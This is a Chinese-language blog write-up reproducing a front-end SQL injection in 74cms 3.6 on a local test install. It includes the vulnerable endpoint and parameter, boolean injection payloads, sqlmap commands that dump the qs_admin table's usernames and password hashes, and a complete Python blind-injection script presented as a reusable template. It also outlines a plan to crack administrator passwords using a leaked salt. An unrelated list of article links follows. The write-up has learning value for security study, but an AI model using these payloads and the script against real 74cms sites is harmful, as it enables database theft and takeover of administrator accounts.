漏洞|74cms 3.6 前台SQL注入+Python脚本小练习
最近有个74cms v4.2.3任意文件下载的漏洞,本来想试着和74cms 3.6 前台SQL注入漏洞结合下然后取出QS_pwdhash的值进行MD5碰撞,可惜了任意文件下载的漏洞并不影响74cms 3.6,所以就只能先复现下前台注入漏洞了。
本次实验任务
1.复现74cms 3.6 前台SQL注入漏洞。
2.尝试使用Python 自动获取数据库中的数据。
实验工具
1.PHPstudy
2.74cms 3.6 源码 (在文末有提供下载链接)
3.Python 2.7
漏洞复现过程
0x01 下载74cms 3.6并进行安装,安装成功后可以正常访问就是安装成功。
0x02 在http://127.0.0.1/74cms/plus/ajax_user.php在username参数中存在注入点。POST请求如下信息时候由于不存在username为a的用户所以提示false。
构造'or '1'='2进行请求提示false
POST DATA:username=a'or '1'='2&act=get_pass_check
构造'or '1'='1进行请求提示true
POST DATA:username=a'or '1'='1&act=get_pass_check
0x03 根据上面的请求判断http://127.0.0.1/74cms/plus/ajax_user.php中的username参数存在注入的且是布尔型盲注,使用burp Suite拦截该数据包并保存为req.txt。
0x04 使用>sqlmap.py -r req.txt --current-db命令获取当前数据库名信息。
0x05 因为源码是公开的所以对应的数据库表名列名也就已知了,使用如下命令可以获取后台账号密码信息
>E:sqlmap>sqlmap.py -r req.txt --current-db -T qs_admin -C admin_name,pwd,pwd_hash --dump
0x06 最近发布的74cms v4.2.3前台任意文件读取漏洞本来想利用这个漏洞去获取/data/config.php中的$QS_pwdhash值,但是很遗憾这个漏洞并不影响74cms 3.6的版本。为什么要获取$QS_pwdhash呢?因为在代码中数据库存放的pwd字段的值是由md5($admin_pwd.$pwd_hash.$QS_pwdhash)生成的,现在已知pwd,pwd_hash,如果知道QS_pwdhash的值就可能通过碰撞的方式获取到密码的明文信息,虽然有小小的不尽兴,但是为了能够让文章丰满些(不显得low 哈哈~),将这个盲注使用py实现,虽然SQLmap也能跑出来,就当随手练练编程吧。
0x07 粗略写了个脚本用来跑数据,当然这个就是平时练习时候写好的脚本改下就成了,所以推荐大家多多积累自己写的脚本,当要使用的时候就改下模板就好了,当初写这个模板时是为了更方便注入才写的,因为尽可能的将payload写成通用的,这样在传入的变量中就可以直接写入SQL语句,感觉方便些,使用查询语句规范化。
# -*- coding:utf-8 -*-
# -*- By Thinking -*-
import requests
import string
Url = "http://127.0.0.1/74cms/plus/ajax_user.php"
dic = string.letters + string.digits + '_'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Content-Type': 'application/x-www-form-urlencoded',
}
postData = "username=a'or %s and '1'='1&act=get_pass_check"
def getLen(Url,Sql):
sqli =Sql
for Len in xrange(32):
payload = '(' + sqli + ')' + '=' + str(Len)
url =Url
data = postData %(payload)
# print data
rq = requests.post(url, headers=header,data=data)
if len(rq.content) == 4:
print 'Length is : ', Len
return Len
def getData(Url,Sql,Len):
sqli = Sql
temp = ''
for i in xrange(Len):
for x in dic:
X = temp + x
payload = "(select("+ sqli + ")regexp binary '^%s')" %(X)
url = Url
data = postData %(payload)
# print data
rq = requests.post(url, headers=header,data=data)
if len(rq.content) == 4:
temp = temp + x
print temp
break
print 'Data is : ', temp
return temp
if __name__=="__main__":
# GetLenSQL = 'select length(pwd_hash) from qs_admin where admin_id=1' # 引号内写入想要查询的SQL语句即可。
# Length = getLen(Url, GetLenSQL)
# GetDataSQL = 'select pwd_hash from qs_admin where admin_id=1' # 引号内写入想要查询的SQL语句即可
GetLenSQL = 'select length(database())' # 引号内写入想要查询的SQL语句即可
Length = getLen(Url, GetLenSQL)
GetDataSQL = 'select database()' # 引号内写入想要查询的SQL语句即可
Data = getData(Url, GetDataSQL, Length)
小总结
这次的漏洞复现偏简单了,相信大家都可以做出来,所以大家可以尝试着将重点放在如何更好的使用Python进行盲注这个问题上,我也附上了自己写的代码,欢迎大家一起交流思路和编程写法。
源码和脚本的下载地址:
链接: https://pan.baidu.com/s/1jHAYJ7S 密码: kqdr
- 系统进程管理工具Process Explorer
- jquery 操作DOM元素(1)
- 开源的读取Excel文件组件-ExcelDataReader
- BlackPearl 的 ServiceObject 开发部署
- [程序设计语言]-[核心概念]-04:数据类型
- jquery 筛选元素(1)
- [程序设计语言]-00:目录
- 使用 SQL Server 2008 数据类型-xml 字段类型参数进行数据的批量选取或删除数据
- jquery 筛选元素 (2)
- 专家:中国还不是网络强国 今后须打破国外垄断
- jquery 筛选元素 (3)
- ASP.NET安全隐患的临时解决方法
- 实用代码-C#之IP地址和整数的互转
- jquery操作元素的位置
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android | Tangram动态页面之路(二)介绍
- 使用 ng-repeat-start 进行自定义显示
- AngularJS 多视图应用中的登录认证
- Android | Tangram动态页面之路(三)使用
- Android | Tangram动态页面之路(四)vlayout原理
- 基于QuestaSIM的SystemVerilog DPI使用流程(step by step)
- Android | Tangram动态页面之路(五)Tangram原理
- Android | Tangram动态页面之路(六)数据分离
- 在 mono 下使用微软的 OWIN 认证中间件
- 重温四大基础数据结构:数组、链表、队列和栈
- C# 程序在 Docker 中响应 Unix 信号
- Android | Tangram动态页面之路(七)硬核的Virtualview
- Spark SQL如何选择join策略
- 江湖事儿 | 技术人如何做好晋升准备
- Dockerfile 的 ENTRYPOINT 与 CMD